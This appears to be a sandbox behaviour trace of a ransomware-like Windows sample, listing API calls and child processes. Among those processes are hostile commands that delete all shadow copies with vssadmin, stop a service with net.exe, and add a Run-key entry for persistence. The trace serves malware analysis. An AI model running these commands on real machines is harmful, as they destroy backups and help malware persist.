	[0247.875] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16
	[0247.875] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17
	[0247.876] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17
	[0247.876] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18
	[0247.876] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18
	[0247.876] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18
	[0247.876] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20
	[0247.876] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20
	[0247.876] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20
	[0247.876] GetProcessHeap () returned 0x1d0000
	[0247.876] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1e4720 | out: hHeap=0x1d0000) returned 1
	[0247.876] GetProcessHeap () returned 0x1d0000
	[0247.876] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x12) returned 0x1d1570
	[0247.876] lstrcmpW (lpString1="\\reg.exe", lpString2="\\XCOPY.EXE") returned -1
	[0247.879] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\reg.exe", lpCommandLine="REG  ADD \"HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\" /v \"EV\" /t REG_SZ /d \"￾￾C:\\users\\Public\\uZkoH.exe\" /f /reg:64", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x16f170*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="REG  ADD \"HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\" /v \"EV\" /t REG_SZ /d \"￾￾C:\\users\\Public\\uZkoH.exe\" /f /reg:64", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x16f120 | out: lpCommandLine="REG  ADD \"HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\" /v \"EV\" /t REG_SZ /d \"￾￾C:\\users\\Public\\uZkoH.exe\" /f /reg:64", lpProcessInformation=0x16f120*(hProcess=0x54, hThread=0x50, dwProcessId=0x3084, dwThreadId=0x3088)) returned 1
	[0248.304] CloseHandle (hObject=0x50) returned 1
	[0248.304] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1
	[0248.304] GetProcessHeap () returned 0x1d0000
	[0248.304] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1eadc0 | out: hHeap=0x1d0000) returned 1
	[0248.304] GetEnvironmentStringsW () returned 0x1eadc0*
	[0248.304] GetProcessHeap () returned 0x1d0000
	[0248.304] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0xae8) returned 0x1e8bf0
	[0248.304] FreeEnvironmentStringsW (penv=0x1eadc0) returned 1
	[0248.304] WaitForSingleObject (hHandle=0x54, dwMilliseconds=0xffffffff) returned 0x0
	[0249.842] GetExitCodeProcess (in: hProcess=0x54, lpExitCode=0x16f068 | out: lpExitCode=0x16f068*=0x0) returned 1
	[0249.842] CloseHandle (hObject=0x54) returned 1
	[0249.842] _vsnwprintf (in: _Buffer=0x16f2d8, _BufferCount=0x13, _Format="%08X", _ArgList=0x16f078 | out: _Buffer="00000000") returned 8
	[0249.842] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000000") returned 1
	[0249.842] GetProcessHeap () returned 0x1d0000
	[0249.842] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1e8bf0 | out: hHeap=0x1d0000) returned 1
	[0249.842] GetEnvironmentStringsW () returned 0x1e8bf0*
	[0249.842] GetProcessHeap () returned 0x1d0000
	[0249.842] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0xb0e) returned 0x1ed910
	[0249.843] FreeEnvironmentStringsW (penv=0x1e8bf0) returned 1
	[0249.843] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1
	[0249.843] GetProcessHeap () returned 0x1d0000
	[0249.843] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1ed910 | out: hHeap=0x1d0000) returned 1
	[0249.843] GetEnvironmentStringsW () returned 0x1e8bf0*
	[0249.843] GetProcessHeap () returned 0x1d0000
	[0249.843] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0xb0e) returned 0x1ed910
	[0249.843] FreeEnvironmentStringsW (penv=0x1e8bf0) returned 1
	[0249.843] GetProcessHeap () returned 0x1d0000
	[0249.843] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1d1570 | out: hHeap=0x1d0000) returned 1
	[0249.843] DeleteProcThreadAttributeList (in: lpAttributeList=0x16f138 | out: lpAttributeList=0x16f138) 
	[0249.843] _get_osfhandle (_FileHandle=1) returned 0x7
	[0249.843] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1
	[0249.844] _get_osfhandle (_FileHandle=1) returned 0x7
	[0249.844] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a52e194 | out: lpMode=0x4a52e194) returned 1
	[0249.845] _get_osfhandle (_FileHandle=0) returned 0x3
	[0249.845] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a52e198 | out: lpMode=0x4a52e198) returned 1
	[0249.845] SetConsoleInputExeNameW () returned 0x1
	[0249.845] GetConsoleOutputCP () returned 0x1b5
	[0249.845] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a53bfe0 | out: lpCPInfo=0x4a53bfe0) returned 1
	[0249.845] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409
	[0249.846] exit (_Code=0) 

Process:
	id = "53"
	image_name = "net.exe"
	filename = "c:\\windows\\system32\\net.exe"
	page_root = "0x1f9a000"
	os_pid = "0x2fa8"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "2"
	os_parent_pid = "0x894"
	cmd_line = "\"C:\\Windows\\System32\\net.exe\" stop \"samss\" /y"
	cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\"
	os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz"
	bitness = "32"
	os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 2669
	os_tid = 0x2fac


Process:
	id = "54"
	image_name = "vssadmin.exe"
	filename = "c:\\windows\\system32\\vssadmin.exe"
	page_root = "0xc736000"
	os_pid = "0x307c"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "48"
	os_parent_pid = "0x2ae0"
	cmd_line = "vssadmin.exe  Delete Shadows /all /quiet"
	cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\"
	os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz"
	bitness = "32"
	os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 2727
	os_tid = 0x3080


Thread:
	id = 2854
	os_tid = 0x3298


Thread:
	id = 2977
	os_tid = 0x3464


Thread:
	id = 3002
	os_tid = 0x34d0


Thread:
	id = 3003
	os_tid = 0x34d4


Process:
	id = "55"
	image_name = "reg.exe"
	filename = "c:\\windows\\system32\\reg.exe"
	page_root = "0x2490000"
	os_pid = "0x3084"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "52"
	os_parent_pid = "0x2d00"
	cmd_line = "REG  ADD \"HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\" /v \"EV\" /t REG_SZ /d \"￾￾C:\\users\\Public\\uZkoH.exe\" /f /reg:64"
	cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\"
	os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz"
	bitness = "32"
	os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 2728
	os_tid = 0x3088

	[0249.300] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26f910 | out: lpSystemTimeAsFileTime=0x26f910*(dwLowDateTime=0x76e3ebc0, dwHighDateTime=0x1d5cdef)) 
	[0249.300] GetCurrentProcessId () returned 0x3084
	[0249.300] GetCurrentThreadId () returned 0x3088
	[0249.300] GetTickCount () returned 0x1181999
	[0249.300] QueryPerformanceCounter (in: lpPerformanceCount=0x26f918 | out: lpPerformanceCount=0x26f918*=39085989576) returned 1
	[0249.302] GetModuleHandleW (lpModuleName=0x0) returned 0xffe80000
	[0249.302] __set_app_type (_Type=0x1) 
	[0249.302] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xffe900d0) returned 0x0
	[0249.302] __wgetmainargs (in: _Argc=0xffe92140, _Argv=0xffe92150, _Env=0xffe92148, _DoWildCard=0, _StartInfo=0xffe9215c | out: _Argc=0xffe92140, _Argv=0xffe92150, _Env=0xffe92148) returned 0
	[0249.303] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="ADD", cchCount1=-1, lpString2="QUERY", cchCount2=-1) returned 1
	[0249.305] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="ADD", cchCount1=-1, lpString2="ADD", cchCount2=-1) returned 2
	[0249.306] RegOpenKeyW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", phkResult=0x26f8e8 | out: phkResult=0x26f8e8*=0x0) returned 0x2
	[0249.306] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="ADD", cchCount1=-1, lpString2="ADD", cchCount2=-1) returned 2
	[0249.306] lstrlenW (lpString="-?|/?|-h|/h") returned 11
	[0249.306] GetProcessHeap () returned 0x50000
	[0249.306] RtlAllocateHeap (HeapHandle=0x50000, Flags=0xc, Size=0x18) returned 0x6b680
	[0249.306] lstrlenW (lpString="") returned 0
	[0249.306] GetProcessHeap () returned 0x50000
	[0249.306] RtlAllocateHeap (HeapHandle=0x50000, Flags=0xc, Size=0x2) returned 0x6b6a0
	[0249.307] GetProcessHeap () returned 0x50000
	[0249.307] RtlAllocateHeap (HeapHandle=0x50000, Flags=0xc, Size=0x20) returned 0x65a60
	[0249.307] GetProcessHeap () returned 0x50000
	[0249.307] RtlAllocateHeap (HeapHandle=0x50000, Flags=0xc, Size=0x18) returned 0x6b6c0
	[0249.307] GetProcessHeap () returned 0x50000
	[0249.307] RtlAllocateHeap (HeapHandle=0x50000, Flags=0xc, Size=0x20) returned 0x65a90
	[0249.307] GetProcessHeap () returned 0x50000
	[0249.307] RtlAllocateHeap (HeapHandle=0x50000, Flags=0xc, Size=0x20) returned 0x65ac0
	[0249.307] GetProcessHeap () returned 0x50000
	[0249.307] RtlAllocateHeap (HeapHandle=0x50000, Flags=0xc, Size=0x20) returned 0x65af0
	[0249.307] GetProcessHeap () returned 0x50000
	[0249.307] RtlAllocateHeap (HeapHandle=0x50000, Flags=0xc, Size=0x20) returned 0x65b20
	[0249.307] GetProcessHeap () returned 0x50000
	[0249.307] RtlAllocateHeap (HeapHandle=0x50000, Flags=0xc, Size=0x18) returned 0x6b6e0
	[0249.307] GetProcessHeap () returned 0x50000
	[0249.307] RtlAllocateHeap (HeapHandle=0x50000, Flags=0xc, Size=0x20) returned 0x65b50
	[0249.307] GetProcessHeap () returned 0x50000
	[0249.307] RtlAllocateHeap (HeapHandle=0x50000, Flags=0xc, Size=0x20) returned 0x65b80
	[0249.307] GetProcessHeap () returned 0x50000
	[0249.307] RtlAllocateHeap (HeapHandle=0x50000, Flags=0xc, Size=0x20) returned 0x65bb0
	[0249.307] GetProcessHeap () returned 0x50000
	[0249.307] RtlAllocateHeap (HeapHandle=0x50000, Flags=0xc, Size=0x20) returned 0x65be0
	[0249.307] GetProcessHeap () returned 0x50000
	[0249.308] RtlAllocateHeap (HeapHandle=0x50000, Flags=0xc, Size=0x18) returned 0x6b700
	[0249.308] GetProcessHeap () returned 0x50000
	[0249.308] RtlAllocateHeap (HeapHandle=0x50000, Flags=0xc, Size=0x20) returned 0x65c10
	[0249.308] GetProcessHeap () returned 0x50000
	[0249.308] RtlAllocateHeap (HeapHandle=0x50000, Flags=0xc, Size=0x20) returned 0x65c40
	[0249.308] GetProcessHeap () returned 0x50000
	[0249.308] RtlAllocateHeap (HeapHandle=0x50000, Flags=0xc, Size=0x20) returned 0x65c70
	[0249.308] GetProcessHeap () returned 0x50000
	[0249.308] RtlAllocateHeap (HeapHandle=0x50000, Flags=0xc, Size=0x20) returned 0x65ca0
	[0249.308] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409
	[0249.310] GetProcessHeap () returned 0x50000
	[0249.310] RtlAllocateHeap (HeapHandle=0x50000, Flags=0xc, Size=0x18) returned 0x6b720
	[0249.310] _memicmp (_Buf1=0x6b720, _Buf2=0xffe81458, _Size=0x7) returned 0
	[0249.310] GetProcessHeap () returned 0x50000
	[0249.310] RtlAllocateHeap (HeapHandle=0x50000, Flags=0xc, Size=0x1e) returned 0x65cd0
	[0249.310] lstrlenW (lpString="HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run") returned 63
	[0249.310] GetProcessHeap () returned 0x50000
	[0249.310] RtlAllocateHeap (HeapHandle=0x50000, Flags=0xc, Size=0x18) returned 0x6b740
	[0249.310] _memicmp (_Buf1=0x6b740, _Buf2=0xffe81458, _Size=0x7) returned 0
	[0249.310] GetProcessHeap () returned 0x50000
	[0249.310] RtlAllocateHeap (HeapHandle=0x50000, Flags=0xc, Size=0x86) returned 0x6b8c0
	[0249.310] _vsnwprintf (in: _Buffer=0x65cd0, _BufferCount=0xe, _Format="|%s|", _ArgList=0x26f6e8 | out: _Buffer="|-?|/?|-h|/h|") returned 13
	[0249.310] _vsnwprintf (in: _Buffer=0x6b8c0, _BufferCount=0x42, _Format="|%s|", _ArgList=0x26f6e8 | out: _Buffer="|HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run|") returned 65
	[0249.310] lstrlenW (lpString="|-?|/?|-h|/h|") returned 13
	[0249.310] lstrlenW (lpString="|HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run|") returned 65
	[0249.310] SetLastError (dwErrCode=0x490) 
	[0249.310] lstrlenW (lpString="HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run") returned 63
	[0249.310] GetProcessHeap () returned 0x50000
	[0249.310] RtlAllocateHeap (HeapHandle=0x50000, Flags=0xc, Size=0x80) returned 0x6b950
	[0249.310] lstrlenW (lpString="HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run") returned 63
	[0249.311] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0
	[0249.311] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0
	[0249.311] StrChrW (lpStart=" \x09", wMatch=0x4b) returned 0x0
	[0249.311] StrChrW (lpStart=" \x09", wMatch=0x45) returned 0x0
	[0249.311] StrChrW (lpStart=" \x09", wMatch=0x59) returned 0x0
	[0249.311] StrChrW (lpStart=" \x09", wMatch=0x5f) returned 0x0
	[0249.311] StrChrW (lpStart=" \x09", wMatch=0x43) returned 0x0
	[0249.311] StrChrW (lpStart=" \x09", wMatch=0x55) returned 0x0
	[0249.311] StrChrW (lpStart=" \x09", wMatch=0x52) returned 0x0
	[0249.311] StrChrW (lpStart=" \x09", wMatch=0x52) returned 0x0
	[0249.311] StrChrW (lpStart=" \x09", wMatch=0x45) returned 0x0
	[0249.311] StrChrW (lpStart=" \x09", wMatch=0x4e) returned 0x0
	[0249.311] StrChrW (lpStart=" \x09", wMatch=0x54) returned 0x0
	[0249.311] StrChrW (lpStart=" \x09", wMatch=0x5f) returned 0x0
	[0249.311] StrChrW (lpStart=" \x09", wMatch=0x55) returned 0x0
	[0249.311] StrChrW (lpStart=" \x09", wMatch=0x53) returned 0x0
	[0249.311] StrChrW (lpStart=" \x09", wMatch=0x45) returned 0x0
	[0249.311] StrChrW (lpStart=" \x09", wMatch=0x52) returned 0x0
	[0249.311] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0
	[0249.311] StrChrW (lpStart=" \x09", wMatch=0x53) returned 0x0
	[0249.312] StrChrW (lpStart=" \x09", wMatch=0x4f) returned 0x0
	[0249.312] StrChrW (lpStart=" \x09", wMatch=0x46) returned 0x0
	[0249.312] StrChrW (lpStart=" \x09", wMatch=0x54) returned 0x0
	[0249.312] StrChrW (lpStart=" \x09", wMatch=0x57) returned 0x0
	[0249.312] StrChrW (lpStart=" \x09", wMatch=0x41) returned 0x0
	[0249.312] StrChrW (lpStart=" \x09", wMatch=0x52) returned 0x0
	[0249.312] StrChrW (lpStart=" \x09", wMatch=0x45) returned 0x0
	[0249.312] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0
	[0249.312] StrChrW (lpStart=" \x09", wMatch=0x4d) returned 0x0
	[0249.312] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0
	[0249.312] StrChrW (lpStart=" \x09", wMatch=0x63) returned 0x0
	[0249.312] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0
	[0249.312] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0
	[0249.312] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0
	[0249.312] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0
	[0249.312] StrChrW (lpStart=" \x09", wMatch=0x66) returned 0x0
	[0249.312] StrChrW (lpStart=" \x09", wMatch=0x74) returned 0x0
	[0249.312] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0
	[0249.312] StrChrW (lpStart=" \x09", wMatch=0x57) returned 0x0
	[0249.312] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0
	[0249.312] StrChrW (lpStart=" \x09", wMatch=0x6e) returned 0x0
	[0249.312] StrChrW (lpStart=" \x09", wMatch=0x64) returned 0x0
	[0249.312] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0
	[0249.312] StrChrW (lpStart=" \x09", wMatch=0x77) returned 0x0
	[0249.313] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0
	[0249.313] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0
	[0249.313] StrChrW (lpStart=" \x09", wMatch=0x43) returned 0x0
	[0249.313] StrChrW (lpStart=" \x09", wMatch=0x75) returned 0x0
	[0249.313] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0
	[0249.313] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0
	[0249.313] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0
	[0249.313] StrChrW (lpStart=" \x09", wMatch=0x6e) returned 0x0
	[0249.313] StrChrW (lpStart=" \x09", wMatch=0x74) returned 0x0
	[0249.313] StrChrW (lpStart=" \x09", wMatch=0x56) returned 0x0
	[0249.313] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0
	[0249.313] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0
	[0249.313] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0
	[0249.313] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0
	[0249.313] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0
	[0249.313] StrChrW (lpStart=" \x09", wMatch=0x6e) returned 0x0
	[0249.313] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0
	[0249.313] StrChrW (lpStart=" \x09", wMatch=0x52) returned 0x0
	[0249.314] StrChrW (lpStart=" \x09", wMatch=0x75) returned 0x0
	[0249.314] StrChrW (lpStart=" \x09", wMatch=0x6e) returned 0x0
	[0249.314] lstrlenW (lpString="HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run") returned 63
	[0249.314] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", cchCount1=2, lpString2="\\\\", cchCount2=2) returned 3
	[0249.314] lstrlenW (lpString="HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run") returned 63
	[0249.314] lstrlenW (lpString="HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run") returned 63
	[0249.314] StrChrIW (lpStart="HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", wMatch=0x5c) returned="\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run"
	[0249.316] lstrlenW (lpString="HKEY_CURRENT_CONFIG") returned 19
	[0249.316] GetProcessHeap () returned 0x50000
	[0249.316] RtlAllocateHeap (HeapHandle=0x50000, Flags=0xc, Size=0x28) returned 0x65d00
	[0249.316] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="HKEY_CURRENT_USER", cchCount1=-1, lpString2="HKCU", cchCount2=-1) returned 3
	[0249.316] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="HKEY_CURRENT_USER", cchCount1=-1, lpString2="HKEY_CURRENT_USER", cchCount2=-1) returned 2
	[0249.316] lstrlenW (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run") returned 45
	[0249.316] lstrlenW (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run") returned 45
	[0249.316] lstrlenW (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run") returned 45
	[0249.316] StrChrIW (lpStart="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", wMatch=0x5c) returned="\\Microsoft\\Windows\\CurrentVersion\\Run"
	[0249.316] lstrlenW (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run") returned 45
	[0249.316] StrChrIW (lpStart="Microsoft\\Windows\\CurrentVersion\\Run", wMatch=0x5c) returned="\\Windows\\CurrentVersion\\Run"
	[0249.316] lstrlenW (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run") returned 45
	[0249.316] StrChrIW (lpStart="Windows\\CurrentVersion\\Run", wMatch=0x5c) returned="\\CurrentVersion\\Run"
	[0249.316] lstrlenW (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run") returned 45
	[0249.316] StrChrIW (lpStart="CurrentVersion\\Run", wMatch=0x5c) returned="\\Run"
	[0249.316] lstrlenW (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run") returned 45
	[0249.316] StrChrIW (lpStart="Run", wMatch=0x5c) returned 0x0
	[0249.316] SetLastError (dwErrCode=0x490) 
	[0249.316] lstrlenW (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run") returned 45
	[0249.316] SetLastError (dwErrCode=0x0) 
	[0249.316] lstrlenW (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run") returned 45
	[0249.316] GetProcessHeap () returned 0x50000
	[0249.317] RtlAllocateHeap (HeapHandle=0x50000, Flags=0xc, Size=0x5c) returned 0x6bbd0
	[0249.317] GetProcessHeap () returned 0x50000
	[0249.317] RtlAllocateHeap (HeapHandle=0x50000, Flags=0xc, Size=0x88) returned 0x6bc40
	[0249.317] GetProcessHeap () returned 0x50000
	[0249.317] GetProcessHeap () returned 0x50000
	[0249.317] HeapValidate (hHeap=0x50000, dwFlags=0x0, lpMem=0x65d00) returned 1
	[0249.317] GetProcessHeap () returned 0x50000
	[0249.317] RtlSizeHeap (HeapHandle=0x50000, Flags=0x0, MemoryPointer=0x65d00) returned 0x28
	[0249.317] HeapFree (in: hHeap=0x50000, dwFlags=0x0, lpMem=0x65d00 | out: hHeap=0x50000) returned 1
	[0249.317] GetProcessHeap () returned 0x50000
	[0249.317] GetProcessHeap () returned 0x50000
	[0249.317] HeapValidate (hHeap=0x50000, dwFlags=0x0, lpMem=0x6b950) returned 1
	[0249.317] GetProcessHeap () returned 0x50000
	[0249.317] RtlSizeHeap (HeapHandle=0x50000, Flags=0x0, MemoryPointer=0x6b950) returned 0x80
	[0249.317] HeapFree (in: hHeap=0x50000, dwFlags=0x0, lpMem=0x6b950 | out: hHeap=0x50000) returned 1
	[0249.318] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/v", cchCount1=-1, lpString2="/v", cchCount2=-1) returned 2
	[0249.318] lstrlenW (lpString="EV") returned 2
	[0249.318] GetProcessHeap () returned 0x50000
	[0249.318] RtlAllocateHeap (HeapHandle=0x50000, Flags=0xc, Size=0x6) returned 0x6b760
	[0249.318] lstrlenW (lpString="EV") returned 2
	[0249.318] StrChrW (lpStart=" \x09", wMatch=0x45) returned 0x0
	[0249.318] StrChrW (lpStart=" \x09", wMatch=0x45) returned 0x0
	[0249.318] StrChrW (lpStart=" \x09", wMatch=0x56) returned 0x0
	[0249.318] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/t", cchCount1=-1, lpString2="/v", cchCount2=-1) returned 1
	[0249.318] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/t", cchCount1=-1, lpString2="-v", cchCount2=-1) returned 1
	[0249.318] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/t", cchCount1=-1, lpString2="/ve", cchCount2=-1) returned 1
	[0249.318] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/t", cchCount1=-1, lpString2="-ve", cchCount2=-1) returned 1
	[0249.318] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/t", cchCount1=-1, lpString2="/t", cchCount2=-1) returned 2
	[0249.318] StrDupW (lpSrch="REG_SZ") returned="REG_SZ"
	[0249.318] lstrlenW (lpString="REG_SZ") returned 6
	[0249.319] StrChrW (lpStart=" \x09", wMatch=0x52) returned 0x0
	[0249.319] StrChrW (lpStart=" \x09", wMatch=0x52) returned 0x0
	[0249.319] StrChrW (lpStart=" \x09", wMatch=0x45) returned 0x0
	[0249.319] StrChrW (lpStart=" \x09", wMatch=0x47) returned 0x0
	[0249.319] StrChrW (lpStart=" \x09", wMatch=0x5f) returned 0x0
	[0249.319] StrChrW (lpStart=" \x09", wMatch=0x53) returned 0x0
	[0249.319] StrChrW (lpStart=" \x09", wMatch=0x5a) returned 0x0
	[0249.319] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="REG_SZ", cchCount1=-1, lpString2="REG_SZ", cchCount2=-1) returned 2
	[0249.319] LocalFree (hMem=0x6b950) returned 0x0
	[0249.319] SetLastError (dwErrCode=0x0) 
	[0249.319] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/d", cchCount1=-1, lpString2="/v", cchCount2=-1) returned 1
	[0249.319] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/d", cchCount1=-1, lpString2="-v", cchCount2=-1) returned 1
	[0249.319] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/d", cchCount1=-1, lpString2="/ve", cchCount2=-1) returned 1
	[0249.319] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/d", cchCount1=-1, lpString2="-ve", cchCount2=-1) returned 1
	[0249.319] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/d", cchCount1=-1, lpString2="/t", cchCount2=-1) returned 1
	[0249.319] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/d", cchCount1=-1, lpString2="-t", cchCount2=-1) returned 1
	[0249.319] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/d", cchCount1=-1, lpString2="/s", cchCount2=-1) returned 1
